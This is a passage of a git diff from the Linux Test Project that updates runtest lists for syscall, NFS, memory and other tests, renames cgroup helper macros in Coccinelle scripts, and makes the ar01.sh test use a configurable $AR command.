-r 512k -w 512k -s 32M DOR001 dio_read -n 10 -i 30 -r 512k -w 512k -s 32M diff --git a/runtest/math b/runtest/math index 110c41e7..6915ebe0 100755 --- a/runtest/math +++ b/runtest/math @@ -3,11 +3,11 @@ abs01 abs01 atof01 atof01 -float_bessel cd $LTPROOT/testcases/bin; float_bessel -v -float_exp_log cd $LTPROOT/testcases/bin; float_exp_log -v -float_iperb cd $LTPROOT/testcases/bin; float_iperb -v -float_power cd $LTPROOT/testcases/bin; float_power -v -float_trigo cd $LTPROOT/testcases/bin; float_trigo -v +float_bessel float_bessel -v +float_exp_log float_exp_log -v +float_iperb float_iperb -v +float_power float_power -v +float_trigo float_trigo -v fptest01 fptest01 fptest02 fptest02 diff --git a/runtest/mm b/runtest/mm index 6537666a..f288fed3 100755 --- a/runtest/mm +++ b/runtest/mm @@ -15,8 +15,8 @@ mtest01w mtest01 -p80 -w #test for race conditions mtest05 mmstress mtest06 mmap1 -mtest06_2 mmap2 -x 0.002 -a -p -mtest06_3 mmap3 -x 0.002 -p +mtest06_2 mmap2 -a -p +mtest06_3 mmap3 -p # Remains diabled till the infinite loop problem is solved #mtest-6_4 shmat1 -x 0.00005 @@ -41,7 +41,7 @@ shmt10 shmt10 shm_test01 shm_test -l 10 -t 2 mallocstress01 mallocstress -mmapstress01 mmapstress01 -p 20 -t 0.2 +mmapstress01 mmapstress01 mmapstress02 mmapstress02 mmapstress03 mmapstress03 mmapstress04 mmapstress04 diff --git a/runtest/net.nfs b/runtest/net.nfs index 7ec20ff2..15a96001 100755 --- a/runtest/net.nfs +++ b/runtest/net.nfs @@ -58,7 +58,7 @@ nfs41_ipv6_05 nfs05.sh -6 -v 4.1 -t tcp nfs42_ipv6_05 nfs05.sh -6 -v 4.2 -t tcp nfs01_06 nfs06.sh -v "3,3,3,4,4,4" -t "udp,udp,tcp,tcp,tcp,tcp" -nfs02_06 nfs06.sh -v "3,4,4.1,4.2,4.2,4.2" -t "udp,tcp,tcp,tcp,tcp,tcp" +nfs02_06 nfs06.sh -v "3,4,4.1,4.2,4.2,4.2" -t "tcp,tcp,tcp,tcp,tcp,tcp" nfs03_ipv6_06 nfs06.sh -6 -v "4,4.1,4.1,4.2,4.2,4.2" -t "tcp,tcp,tcp,tcp,tcp,tcp" nfs3_07 nfs07.sh -v 3 -t udp @@ -72,18 +72,29 @@ nfs4_ipv6_07 nfs07.sh -6 -v 4 -t tcp nfs41_ipv6_07 nfs07.sh -6 -v 4.1 -t tcp nfs42_ipv6_07 nfs07.sh -6 -v 4.2 -t tcp -nfslock3_01 nfslock01 -v 3 -t udp -nfslock3t_01 nfslock01 -v 3 -t tcp -nfslock4_01 nfslock01 -v 4 -t tcp -nfslock41_01 nfslock01 -v 4.1 -t tcp -nfslock42_01 nfslock01 -v 4.2 -t tcp -nfslock3_ipv6_01 nfslock01 -6 -v 3 -t udp -nfslock3t_ipv6_01 nfslock01 -6 -v 3 -t tcp -nfslock4_ipv6_01 nfslock01 -6 -v 4 -t tcp -nfslock41_ipv6_01 nfslock01 -6 -v 4.1 -t tcp -nfslock42_ipv6_01 nfslock01 -6 -v 4.2 -t tcp +nfs3_08 nfs08.sh -v 3 -t udp +nfs3t_08 nfs08.sh -v 3 -t tcp +nfs4_08 nfs08.sh -v 4 -t tcp +nfs41_08 nfs08.sh -v 4.1 -t tcp +nfs42_08 nfs08.sh -v 4.2 -t tcp +nfs3_ipv6_08 nfs08.sh -6 -v 3 -t udp +nfs3t_ipv6_08 nfs08.sh -6 -v 3 -t tcp +nfs4_ipv6_08 nfs08.sh -6 -v 4 -t tcp +nfs41_ipv6_08 nfs08.sh -6 -v 4.1 -t tcp +nfs42_ipv6_08 nfs08.sh -6 -v 4.2 -t tcp -nfsstat3_01 nfsstat01 +nfslock3_01 nfslock01.sh -v 3 -t udp +nfslock3t_01 nfslock01.sh -v 3 -t tcp +nfslock4_01 nfslock01.sh -v 4 -t tcp +nfslock41_01 nfslock01.sh -v 4.1 -t tcp +nfslock42_01 nfslock01.sh -v 4.2 -t tcp +nfslock3_ipv6_01 nfslock01.sh -6 -v 3 -t udp +nfslock3t_ipv6_01 nfslock01.sh -6 -v 3 -t tcp +nfslock4_ipv6_01 nfslock01.sh -6 -v 4 -t tcp +nfslock41_ipv6_01 nfslock01.sh -6 -v 4.1 -t tcp +nfslock42_ipv6_01 nfslock01.sh -6 -v 4.2 -t tcp + +nfsstat3_01 nfsstat01.sh nfsx3 fsx.sh -v 3 -t udp nfsx3t fsx.sh -v 3 -t tcp diff --git a/runtest/net.rpc_tests b/runtest/net.rpc_tests index 84c29602..25d219dc 100755 --- a/runtest/net.rpc_tests +++ b/runtest/net.rpc_tests @@ -1,3 +1,6 @@ +rpc01 rpc01.sh +rpcinfo rpcinfo01.sh + rpc_pmap_set rpc_test.sh -c rpc_pmap_set rpc_pmap_unset rpc_test.sh -c rpc_pmap_unset rpc_pmap_getport rpc_test.sh -s rpc_svc_1 -c rpc_pmap_getport diff --git a/runtest/pty b/runtest/pty index a43b18f2..df207415 100755 --- a/runtest/pty +++ b/runtest/pty @@ -4,6 +4,8 @@ pty02 pty02 pty03 pty03 pty04 pty04 pty05 pty05 +pty06 pty06 +pty07 pty07 ptem01 ptem01 hangup01 hangup01 diff --git a/runtest/sched b/runtest/sched index 59289872..172fe417 100755 --- a/runtest/sched +++ b/runtest/sched @@ -9,6 +9,7 @@ trace_sched01 trace_sched -c 1 cfs_bandwidth01 cfs_bandwidth01 -i 5 hackbench01 hackbench 50 process 1000 hackbench02 hackbench 20 thread 1000 +starvation starvation sched_cli_serv run_sched_cliserv.sh # Run this stress test for 2 minutes diff --git a/runtest/smoketest b/runtest/smoketest index 7bebe4a4..83eebfe7 100755 --- a/runtest/smoketest +++ b/runtest/smoketest @@ -12,6 +12,7 @@ stat04 symlink01 -T stat04 utime01A symlink01 -T utime01 rename01A symlink01 -T rename01 splice02 splice02 -s 20 +df01_sh df01.sh shell_test01 echo "SUCCESS" | shell_pipe01.sh -ping01 ping01.sh ping602 ping02.sh -6 +macsec02 macsec02.sh diff --git a/runtest/staging b/runtest/staging new file mode 100644 index 00000000..ef1cdea1 --- /dev/null +++ b/runtest/staging @@ -0,0 +1 @@ +# Tests for features that are not yet in the stable kernel ABI diff --git a/runtest/syscalls b/runtest/syscalls index 3b2deb64..4f1ee1f3 100755 --- a/runtest/syscalls +++ b/runtest/syscalls @@ -43,6 +43,8 @@ bpf_prog02 bpf_prog02 bpf_prog03 bpf_prog03 bpf_prog04 bpf_prog04 bpf_prog05 bpf_prog05 +bpf_prog06 bpf_prog06 +bpf_prog07 bpf_prog07 brk01 brk01 brk02 brk02 @@ -115,6 +117,7 @@ clone09 clone09 clone301 clone301 clone302 clone302 +clone303 clone303 close01 close01 close02 close02 @@ -173,6 +176,9 @@ epoll_wait01 epoll_wait01 epoll_wait02 epoll_wait02 epoll_wait03 epoll_wait03 epoll_wait04 epoll_wait04 +epoll_wait05 epoll_wait05 +epoll_wait06 epoll_wait06 +epoll_wait07 epoll_wait07 epoll_pwait01 epoll_pwait01 epoll_pwait02 epoll_pwait02 epoll_pwait03 epoll_pwait03 @@ -180,6 +186,11 @@ epoll_pwait04 epoll_pwait04 epoll_pwait05 epoll_pwait05 eventfd01 eventfd01 +eventfd02 eventfd02 +eventfd03 eventfd03 +eventfd04 eventfd04 +eventfd05 eventfd05 +eventfd06 eventfd06 eventfd2_01 eventfd2_01 eventfd2_02 eventfd2_02 @@ -195,6 +206,7 @@ execve02 execve02 execve03 execve03 execve04 execve04 execve05 execve05 -i 5 -n 32 +execve06 execve06 execvp01 execvp01 execveat01 execveat01 execveat02 execveat02 @@ -207,6 +219,11 @@ exit_group01 exit_group01 #faccessat test cases faccessat01 faccessat01 +faccessat02 faccessat02 + +#faccessat2 test cases +faccessat201 faccessat201 +faccessat202 faccessat202 #fallocate test cases fallocate01 fallocate01 @@ -268,8 +285,6 @@ fcntl04 fcntl04 fcntl04_64 fcntl04_64 fcntl05 fcntl05 fcntl05_64 fcntl05_64 -fcntl06 fcntl06 -fcntl06_64 fcntl06_64 fcntl07 fcntl07 fcntl07_64 fcntl07_64 fcntl08 fcntl08 @@ -334,6 +349,8 @@ fcntl37 fcntl37 fcntl37_64 fcntl37_64 fcntl38 fcntl38 fcntl38_64 fcntl38_64 +fcntl39 fcntl39 +fcntl39_64 fcntl39_64 fdatasync01 fdatasync01 fdatasync02 fdatasync02 @@ -359,7 +376,6 @@ flock06 flock06 fmtmsg01 fmtmsg01 fork01 fork01 -fork02 fork02 fork03 fork03 fork04 fork04 fork05 fork05 @@ -369,7 +385,7 @@ fork08 fork08 fork09 fork09 fork10 fork10 fork11 fork11 -fork13 fork13 -i 1000000 +fork13 fork13 fork14 fork14 fpathconf01 fpathconf01 @@ -379,6 +395,7 @@ fremovexattr02 fremovexattr02 fsconfig01 fsconfig01 fsconfig02 fsconfig02 +fsconfig03 fsconfig03 fsmount01 fsmount01 fsmount02 fsmount02 @@ -461,7 +478,6 @@ gethostname01 gethostname01 getitimer01 getitimer01 getitimer02 getitimer02 -getitimer03 getitimer03 getpagesize01 getpagesize01 @@ -541,11 +557,11 @@ init_module01 init_module01 init_module02 init_module02 #Needs tty device. -#ioctl01 ioctl01 -D /dev/tty0 #ioctl02 ioctl02 -D /dev/tty0 # Introducing ioctl tests for all /dev/tty* devices -ioctl01_02 test_ioctl +ioctl01 ioctl01 +ioctl02 test_ioctl ioctl03 ioctl03 ioctl04 ioctl04 ioctl05 ioctl05 @@ -585,6 +601,8 @@ inotify07 inotify07 inotify08 inotify08 inotify09 inotify09 inotify10 inotify10 +inotify11 inotify11 +inotify12 inotify12 fanotify01 fanotify01 fanotify02 fanotify02 @@ -608,6 +626,7 @@ fanotify19 fanotify19 fanotify20 fanotify20 fanotify21 fanotify21 fanotify22 fanotify22 +fanotify23 fanotify23 ioperm01 ioperm01 ioperm02 ioperm02 @@ -644,6 +663,7 @@ keyctl05 keyctl05 keyctl06 keyctl06 keyctl07 keyctl07 keyctl08 keyctl08 +keyctl09 keyctl09 kcmp01 kcmp01 kcmp02 kcmp02 @@ -774,7 +794,6 @@ mmap03 mmap03 mmap04 mmap04 mmap05 mmap05 mmap06 mmap06 -mmap07 mmap07 mmap08 mmap08 mmap09 mmap09 mmap12 mmap12 @@ -787,6 +806,7 @@ mmap16 mmap16 mmap17 mmap17 mmap18 mmap18 mmap19 mmap19 +mmap20 mmap20 modify_ldt01 modify_ldt01 modify_ldt02 modify_ldt02 @@ -798,6 +818,9 @@ mount03 mount03 mount04 mount04 mount05 mount05 mount06 mount06 +mount07 mount07 + +mount_setattr01 mount_setattr01 move_mount01 move_mount01 move_mount02 move_mount02 @@ -818,11 +841,13 @@ mprotect01 mprotect01 mprotect02 mprotect02 mprotect03 mprotect03 mprotect04 mprotect04 +mprotect05 mprotect05 pkey01 pkey01 mq_notify01 mq_notify01 mq_notify02 mq_notify02 +mq_notify03 mq_notify03 mq_open01 mq_open01 mq_timedreceive01 mq_timedreceive01 mq_timedsend01 mq_timedsend01 @@ -833,6 +858,7 @@ mremap02 mremap02 mremap03 mremap03 mremap04 mremap04 mremap05 mremap05 +mremap06 mremap06 msgctl01 msgctl01 msgctl02 msgctl02 @@ -893,13 +919,13 @@ nice01 nice01 nice02 nice02 nice03 nice03 nice04 nice04 +nice05 nice05 open01 open01 open01A symlink01 -T open01 open02 open02 open03 open03 open04 open04 -open05 open05 open06 open06 open07 open07 open08 open08 @@ -910,10 +936,10 @@ open12 open12 open13 open13 open14 open14 -#openat test cases openat01 openat01 openat02 openat02 openat03 openat03 +openat04 openat04 openat201 openat201 openat202 openat202 @@ -932,12 +958,14 @@ mincore04 mincore04 madvise01 madvise01 madvise02 madvise02 +madvise03 madvise03 madvise05 madvise05 madvise06 madvise06 madvise07 madvise07 madvise08 madvise08 madvise09 madvise09 madvise10 madvise10 +madvise11 madvise11 newuname01 newuname01 @@ -950,9 +978,13 @@ pause03 pause03 personality01 personality01 personality02 personality02 +pidfd_getfd01 pidfd_getfd01 +pidfd_getfd02 pidfd_getfd02 + pidfd_open01 pidfd_open01 pidfd_open02 pidfd_open02 pidfd_open03 pidfd_open03 +pidfd_open04 pidfd_open04 pidfd_send_signal01 pidfd_send_signal01 pidfd_send_signal02 pidfd_send_signal02 @@ -971,6 +1003,7 @@ pipe10 pipe10 pipe11 pipe11 pipe12 pipe12 pipe13 pipe13 +pipe14 pipe14 pipe2_01 pipe2_01 pipe2_02 pipe2_02 @@ -992,6 +1025,7 @@ prctl06 prctl06 prctl07 prctl07 prctl08 prctl08 prctl09 prctl09 +prctl10 prctl10 pread01 pread01 pread01_64 pread01_64 @@ -1017,11 +1051,15 @@ profil01 profil01 process_vm_readv01 process_vm01 -r process_vm_readv02 process_vm_readv02 process_vm_readv03 process_vm_readv03 -process_vm_writev01 process_vm01 -w +process_vm_writev01 process_vm01 process_vm_writev02 process_vm_writev02 +process_madvise01 process_madvise01 + prot_hsymlinks prot_hsymlinks dirtyc0w dirtyc0w +dirtyc0w_shmem dirtyc0w_shmem +dirtypipe dirtypipe pselect01 pselect01 pselect01_64 pselect01_64 @@ -1120,7 +1158,6 @@ removexattr02 removexattr02 rename01 rename01 rename01A symlink01 -T rename01 -rename02 rename02 rename03 rename03 rename04 rename04 rename05 rename05 @@ -1217,13 +1254,13 @@ semctl09 semctl09 semget01 semget01 semget02 semget02 -semget03 semget03 semget05 semget05 -semget06 semget06 semop01 semop01 semop02 semop02 semop03 semop03 +semop04 semop04 +semop05 semop05 send01 send01 send02 send02 @@ -1304,8 +1341,6 @@ setgroups02 setgroups02 setgroups02_16 setgroups02_16 setgroups03 setgroups03 setgroups03_16 setgroups03_16 -setgroups04 setgroups04 -setgroups04_16 setgroups04_16 sethostname01 sethostname01 sethostname02 sethostname02 @@ -1313,7 +1348,6 @@ sethostname03 sethostname03 setitimer01 setitimer01 setitimer02 setitimer02 -setitimer03 setitimer03 setns01 setns01 setns02 setns02 @@ -1389,6 +1423,7 @@ setsockopt05 setsockopt05 setsockopt06 setsockopt06 setsockopt07 setsockopt07 setsockopt08 setsockopt08 +setsockopt09 setsockopt09 settimeofday01 settimeofday01 settimeofday02 settimeofday02 @@ -1552,16 +1587,6 @@ sysinfo01 sysinfo01 sysinfo02 sysinfo02 sysinfo03 sysinfo03 -syslog01 syslog01 -syslog02 syslog02 -syslog03 syslog03 -syslog04 syslog04 -syslog05 syslog05 -syslog06 syslog06 -syslog07 syslog07 -syslog08 syslog08 -syslog09 syslog09 -syslog10 syslog10 syslog11 syslog11 syslog12 syslog12 @@ -1641,7 +1666,6 @@ umount03 umount03 umount2_01 umount2_01 umount2_02 umount2_02 -umount2_03 umount2_03 userfaultfd01 userfaultfd01 @@ -1696,6 +1720,15 @@ waitpid13 waitpid13 waitid01 waitid01 waitid02 waitid02 +waitid03 waitid03 +waitid04 waitid04 +waitid05 waitid05 +waitid06 waitid06 +waitid07 waitid07 +waitid08 waitid08 +waitid09 waitid09 +waitid10 waitid10 +waitid11 waitid11 write01 write01 write02 write02 @@ -1721,6 +1754,9 @@ futex_wait02 futex_wait02 futex_wait03 futex_wait03 futex_wait04 futex_wait04 futex_wait05 futex_wait05 +futex_waitv01 futex_waitv01 +futex_waitv02 futex_waitv02 +futex_waitv03 futex_waitv03 futex_wake01 futex_wake01 futex_wake02 futex_wake02 futex_wake03 futex_wake03 @@ -1744,6 +1780,10 @@ statx05 statx05 statx06 statx06 statx07 statx07 statx08 statx08 +statx09 statx09 +statx10 statx10 +statx11 statx11 +statx12 statx12 membarrier01 membarrier01 diff --git a/runtest/syscalls-ipc b/runtest/syscalls-ipc index b758158c..df41140a 100755 --- a/runtest/syscalls-ipc +++ b/runtest/syscalls-ipc @@ -41,9 +41,7 @@ semctl09 semctl09 semget01 semget01 semget02 semget02 -semget03 semget03 semget05 semget05 -semget06 semget06 semop01 semop01 semop02 semop02 diff --git a/runtest/watchqueue b/runtest/watchqueue new file mode 100644 index 00000000..bd6b0a42 --- /dev/null +++ b/runtest/watchqueue @@ -0,0 +1,9 @@ +wqueue01 wqueue01 +wqueue02 wqueue02 +wqueue03 wqueue03 +wqueue04 wqueue04 +wqueue05 wqueue05 +wqueue06 wqueue06 +wqueue07 wqueue07 +wqueue08 wqueue08 +wqueue09 wqueue09 diff --git a/scenario_groups/default b/scenario_groups/default index 1dc2987d..68bd5300 100755 --- a/scenario_groups/default +++ b/scenario_groups/default @@ -30,3 +30,4 @@ cve crypto kernel_misc uevent +watchqueue diff --git a/scenario_groups/network b/scenario_groups/network index 46829501..974b9fc5 100755 --- a/scenario_groups/network +++ b/scenario_groups/network @@ -4,7 +4,6 @@ net.ipv6 net.ipv6_lib net.tcp_cmds net.multicast -net.rpc net.nfs net.rpc_tests net.tirpc_tests diff --git a/scripts/coccinelle/cgroup-ver.cocci b/scripts/coccinelle/cgroup-ver.cocci index fc1d2ec9..0a73e94e 100755 --- a/scripts/coccinelle/cgroup-ver.cocci +++ b/scripts/coccinelle/cgroup-ver.cocci @@ -4,26 +4,26 @@ virtual fix expression cg, ctrl; @@ -- TST_CGROUP_VER(cg, ctrl) == TST_CGROUP_V1 -+ TST_CGROUP_VER_IS_V1(cg, ctrl) +- TST_CG_VER(cg, ctrl) == TST_CG_V1 ++ TST_CG_VER_IS_V1(cg, ctrl) @@ expression cg, ctrl; @@ -- TST_CGROUP_VER(cg, ctrl) != TST_CGROUP_V1 -+ !TST_CGROUP_VER_IS_V1(cg, ctrl) +- TST_CG_VER(cg, ctrl) != TST_CG_V1 ++ !TST_CG_VER_IS_V1(cg, ctrl) @@ expression cg, ctrl; @@ -- TST_CGROUP_VER(cg, ctrl) == TST_CGROUP_V2 -+ !TST_CGROUP_VER_IS_V1(cg, ctrl) +- TST_CG_VER(cg, ctrl) == TST_CG_V2 ++ !TST_CG_VER_IS_V1(cg, ctrl) @@ expression cg, ctrl; @@ -- TST_CGROUP_VER(cg, ctrl) != TST_CGROUP_V2 -+ TST_CGROUP_VER_IS_V1(cg, ctrl) +- TST_CG_VER(cg, ctrl) != TST_CG_V2 ++ TST_CG_VER_IS_V1(cg, ctrl) diff --git a/scripts/coccinelle/kselftest-cgroup-to-ltp.cocci b/scripts/coccinelle/kselftest-cgroup-to-ltp.cocci index f91c2c46..de064af3 100755 --- a/scripts/coccinelle/kselftest-cgroup-to-ltp.cocci +++ b/scripts/coccinelle/kselftest-cgroup-to-ltp.cocci @@ -3,7 +3,7 @@ expression cgn, cgns; @@ - cgn = cg_name(..., cgns); -+ cgn = tst_cgroup_group_mk(cg_test, cgns); ++ cgn = tst_cg_group_mk(cg_test, cgns); @@ expression cg, fname, data; @@ -12,24 +12,24 @@ expression cg, fname, data; - if (cg_write(cg, fname, data)) { - ... - } -+ SAFE_CGROUP_PRINT(cg, fname, data); ++ SAFE_CG_PRINT(cg, fname, data); @@ expression cg; @@ -... when != TST_CGROUP_VER(...) +... when != TST_CG_VER(...) -- SAFE_CGROUP_PRINT(cg, "cgroup.subtree_control", "+memory"); -+ if (TST_CGROUP_VER(cg, "memory") != TST_CGROUP_V1) -+ SAFE_CGROUP_PRINT(cg, "cgroup.subtree_control", "+memory"); +- SAFE_CG_PRINT(cg, "cgroup.subtree_control", "+memory"); ++ if (TST_CG_VER(cg, "memory") != TST_CG_V1) ++ SAFE_CG_PRINT(cg, "cgroup.subtree_control", "+memory"); @@ expression cg, fname, needle; @@ - cg_read_strstr(cg, fname, needle) -+ !SAFE_CGROUP_OCCURSIN(cg, fname, needle) ++ !SAFE_CG_OCCURSIN(cg, fname, needle) @@ identifier l; @@ -37,4 +37,4 @@ expression cg, fname; @@ - l = cg_read_long(cg, fname); -+ SAFE_CGROUP_SCANF(cg, fname, "%ld", &l); ++ SAFE_CG_SCANF(cg, fname, "%ld", &l); diff --git a/testcases/commands/ar/ar01.sh b/testcases/commands/ar/ar01.sh index b4af622a..938a8515 100755 --- a/testcases/commands/ar/ar01.sh +++ b/testcases/commands/ar/ar01.sh @@ -4,7 +4,7 @@ # Copyright (c) 2016 Cyril Hrubis # Author: Robbie Williamson # -# This is a basic ar command test. +# This is a basic $AR command test. AR="${AR:=ar}" TST_CNT=17 @@ -13,27 +13,25 @@ TST_TESTFUNC=test TST_NEEDS_TMPDIR=1 TST_NEEDS_CMDS="$AR" -. tst_test.sh - setup() { MOD= - ar --help | grep "use zero for timestamps and uids/gids (default)" >/dev/null + $AR --help | grep "use zero for timestamps and uids/gids (default)" >/dev/null [ $? -eq 0 ] && MOD="U" } test1() { - ROD ar -cr"$MOD" lib.a $TST_DATAROOT/file1.in $TST_DATAROOT/file3.in - ROD ar -ra"$MOD" file1.in lib.a $TST_DATAROOT/file2.in - ROD ar -t lib.a \> ar.out + ROD $AR -cr"$MOD" lib.a $TST_DATAROOT/file1.in $TST_DATAROOT/file3.in + ROD $AR -ra"$MOD" file1.in lib.a $TST_DATAROOT/file2.in + ROD $AR -t lib.a \> ar.out printf "file1.in\nfile2.in\nfile3.in\n" > ar.exp if diff ar.out ar.exp >/dev/null; then - tst_res TPASS "ar added new file after another (-a)" + tst_res TPASS "$AR added new file after another (-a)" else - tst_res TFAIL "ar failed to add new file after another (-a)" + tst_res TFAIL "$AR failed to add new file after another (-a)" cat ar.out fi @@ -42,17 +40,17 @@ test1() test2() { - ROD ar -cr"$MOD" lib.a $TST_DATAROOT/file1.in $TST_DATAROOT/file2.in \ + ROD $AR -cr"$MOD" lib.a $TST_DATAROOT/file1.in $TST_DATAROOT/file2.in \ $TST_DATAROOT/file3.in $TST_DATAROOT/file4.in - ROD ar -ma"$MOD" file1.in lib.a file4.in - ROD ar -t lib.a \> ar.out + ROD $AR -ma"$MOD" file1.in lib.a file4.in + ROD $AR -t lib.a \> ar.out printf "file1.in\nfile4.in\nfile2.in\nfile3.in\n" > ar.exp if diff ar.out ar.exp > /dev/null; then - tst_res TPASS "ar moved file correctly (-ma)" + tst_res TPASS "$AR moved file correctly (-ma)" else - tst_res TFAIL "ar failed to move file (-ma)" + tst_res TFAIL "$AR failed to move file (-ma)" cat ar.out fi @@ -61,16 +59,16 @@ test2() test3() { - ROD ar -cr"$MOD" lib.a $TST_DATAROOT/file1.in $TST_DATAROOT/file3.in - ROD ar -rb"$MOD" file3.in lib.a $TST_DATAROOT/file2.in - ROD ar -t lib.a \> ar.out + ROD $AR -cr"$MOD" lib.a $TST_DATAROOT/file1.in $TST_DATAROOT/file3.in + ROD $AR -rb"$MOD" file3.in lib.a $TST_DATAROOT/file2.in + ROD $AR -t lib.a \> ar.out printf "file1.in\nfile2.in\nfile3.in\n" > ar.exp if diff ar.out ar.exp; then - tst_res TPASS "ar added new file before another (-b)" + tst_res TPASS "$AR added new file before another (-b)" else - tst_res TFAIL "ar failed to add new file before another (-b)" + tst_res TFAIL "$AR failed to add new file before another (-b)" cat ar.out fi @@ -79,17 +77,17 @@ test3() test4() { - ROD ar -cr"$MOD" lib.a $TST_DATAROOT/file1.in $TST_DATAROOT/file3.in \ + ROD $AR -cr"$MOD" lib.a $TST_DATAROOT/file1.in $TST_DATAROOT/file3.in \ $TST_DATAROOT/file2.in - ROD ar -mb"$MOD" file3.in lib.a file2.in - ROD ar -t lib.a \> ar.out + ROD $AR -mb"$MOD" file3.in lib.a file2.in + ROD $AR -t lib.a \> ar.out printf "file1.in\nfile2.in\nfile3.in\n" > ar.exp if diff ar.out ar.exp > /dev/null; then - tst_res TPASS "ar moved file correctly (-mb)" + tst_res TPASS "$AR moved file correctly (-mb)" else - tst_res TFAIL "ar failed to move file (-mb)" + tst_res TFAIL "$AR failed to move file (-mb)" cat ar.out fi @@ -98,13 +96,13 @@ test4() test5() { - ROD ar -cr"$MOD" lib.a $TST_DATAROOT/file1.in \> ar.out + ROD $AR -cr"$MOD" lib.a $TST_DATAROOT/file1.in \> ar.out if [ -s ar.out ]; then - tst_res TFAIL "ar produced output unexpectedly (-c)" + tst_res TFAIL "$AR produced output unexpectedly (-c)" cat ar.out else - tst_res TPASS "ar haven't produced output (-c)" + tst_res TPASS "$AR haven't produced output (-c)" fi ROD rm lib.a @@ -112,13 +110,13 @@ test5() test6() { - ROD ar -qc"$MOD" lib.a $TST_DATAROOT/file1.in \> ar.out + ROD $AR -qc"$MOD" lib.a $TST_DATAROOT/file1.in \> ar.out if [ -s ar.out ]; then - tst_res TFAIL "ar produced output unexpectedly (-qc)" + tst_res TFAIL "$AR produced output unexpectedly (-qc)" cat ar.out else - tst_res TPASS "ar haven't produced output (-qc)" + tst_res TPASS "$AR haven't produced output (-qc)" fi ROD rm lib.a @@ -126,17 +124,17 @@ test6() test7() { - ROD ar -cr"$MOD" lib.a $TST_DATAROOT/file1.in $TST_DATAROOT/file2.in \ + ROD $AR -cr"$MOD" lib.a $TST_DATAROOT/file1.in $TST_DATAROOT/file2.in \ $TST_DATAROOT/file3.in - ROD ar -d"$MOD" lib.a file1.in file2.in - ROD ar -t lib.a \> ar.out + ROD $AR -d"$MOD" lib.a file1.in file2.in + ROD $AR -t lib.a \> ar.out printf "file3.in\n" > ar.exp if diff ar.out ar.exp > /dev/null; then - tst_res TPASS "ar deleted files correctly (-d)" + tst_res TPASS "$AR deleted files correctly (-d)" else - tst_res TFAIL "ar messed up when deleting files (-d)" + tst_res TFAIL "$AR messed up when deleting files (-d)" cat ar.out fi @@ -145,17 +143,17 @@ test7() test8() { - ROD ar -cr"$MOD" lib.a $TST_DATAROOT/file1.in $TST_DATAROOT/file2.in \ + ROD $AR -cr"$MOD" lib.a $TST_DATAROOT/file1.in $TST_DATAROOT/file2.in \ $TST_DATAROOT/file3.in - ROD ar -d"$MOD" lib.a - ROD ar -t lib.a \> ar.out + ROD $AR -d"$MOD" lib.a + ROD $AR -t lib.a \> ar.out printf "file1.in\nfile2.in\nfile3.in\n" > ar.exp if diff ar.out ar.exp > /dev/null; then - tst_res TPASS "ar deleted nothing (-d with empty list)" + tst_res TPASS "$AR deleted nothing (-d with empty list)" else - tst_res TFAIL "ar deleted files (-d with empty list)" + tst_res TFAIL "$AR deleted files (-d with empty list)" cat ar.out fi @@ -164,16 +162,16 @@ test8() test9() { - ROD ar -cr"$MOD" lib.a $TST_DATAROOT/file1.in $TST_DATAROOT/file3.in - ROD ar -ri"$MOD" file3.in lib.a $TST_DATAROOT/file2.in - ROD ar -t lib.a \> ar.out + ROD $AR -cr"$MOD" lib.a $TST_DATAROOT/file1.in $TST_DATAROOT/file3.in + ROD $AR -ri"$MOD" file3.in lib.a $TST_DATAROOT/file2.in + ROD $AR -t lib.a \> ar.out printf "file1.in\nfile2.in\nfile3.in\n" > ar.exp if diff ar.out ar.exp >/dev/null; then - tst_res TPASS "ar added new file before another (-i)" + tst_res TPASS "$AR added new file before another (-i)" else - tst_res TFAIL "ar failed to add new file before another (-i" + tst_res TFAIL "$AR failed to add new file before another (-i" cat ar.out fi @@ -182,17 +180,17 @@ test9() test10() { - ROD ar -cr"$MOD" lib.a $TST_DATAROOT/file1.in $TST_DATAROOT/file3.in \ + ROD $AR -cr"$MOD" lib.a $TST_DATAROOT/file1.in $TST_DATAROOT/file3.in \ $TST_DATAROOT/file2.in - ROD ar -mi"$MOD" file3.in lib.a file2.in - ROD ar -t lib.a \> ar.out + ROD $AR -mi"$MOD" file3.in lib.a file2.in + ROD $AR -t lib.a \> ar.out printf "file1.in\nfile2.in\nfile3.in\n" > ar.exp if diff ar.out ar.exp > /dev/null; then - tst_res TPASS "ar moved file correctly (-mi)" + tst_res TPASS "$AR moved file correctly (-mi)" else - tst_res TFAIL "ar failed to move file (-mi)" + tst_res TFAIL "$AR failed to move file (-mi)" cat ar.out fi @@ -201,17 +199,17 @@ test10() test11() { - ROD ar -cr"$MOD" lib.a $TST_DATAROOT/file1.in $TST_DATAROOT/file3.in \ + ROD $AR -cr"$MOD" lib.a $TST_DATAROOT/file1.in $TST_DATAROOT/file3.in \ $TST_DATAROOT/file2.in - ROD ar -m"$MOD" lib.a file3.in - ROD ar -t lib.a \> ar.out + ROD $AR -m"$MOD" lib.a file3.in + ROD $AR -t lib.a \> ar.out printf "file1.in\nfile2.in\nfile3.in\n" > ar.exp if diff ar.out ar.exp > /dev/null; then - tst_res TPASS "ar moved file correctly (-m)" + tst_res TPASS "$AR moved file correctly (-m)" else - tst_res TFAIL "ar failed to move file (-m)" + tst_res TFAIL "$AR failed to move file (-m)" cat ar.out fi @@ -220,16 +218,16 @@ test11() test12() { - ROD ar -cr"$MOD" lib.a $TST_DATAROOT/file1.in $TST_DATAROOT/file2.in \ + ROD $AR -cr"$MOD" lib.a $TST_DATAROOT/file1.in $TST_DATAROOT/file2.in \ $TST_DATAROOT/file3.in - ROD ar -p"$MOD" lib.a \> ar.out + ROD $AR -p"$MOD" lib.a \> ar.out printf "This is file one\nThis is file two\nThis is file three\n" > ar.exp if diff ar.out ar.exp > /dev/null; then - tst_res TPASS "ar printed file content correctly (-p)" + tst_res TPASS "$AR printed file content correctly (-p)" else - tst_res TFAIL "ar failed to print file content (-p)" + tst_res TFAIL "$AR failed to print file content (-p)" cat ar.out fi @@ -239,17 +237,17 @@ test12() test13() { - ROD ar -cr"$MOD" lib.a $TST_DATAROOT/file1.in $TST_DATAROOT/file2.in \ + ROD $AR -cr"$MOD" lib.a $TST_DATAROOT/file1.in $TST_DATAROOT/file2.in \ $TST_DATAROOT/file3.in - ROD ar -q"$MOD" lib.a $TST_DATAROOT/file4.in - ROD ar -t lib.a \> ar.out + ROD $AR -q"$MOD" lib.a $TST_DATAROOT/file4.in + ROD $AR -t lib.a \> ar.out printf "file1.in\nfile2.in\nfile3.in\nfile4.in\n" > ar.exp if diff ar.out ar.exp > /dev/null; then - tst_res TPASS "ar appended file correctly (-q)" + tst_res TPASS 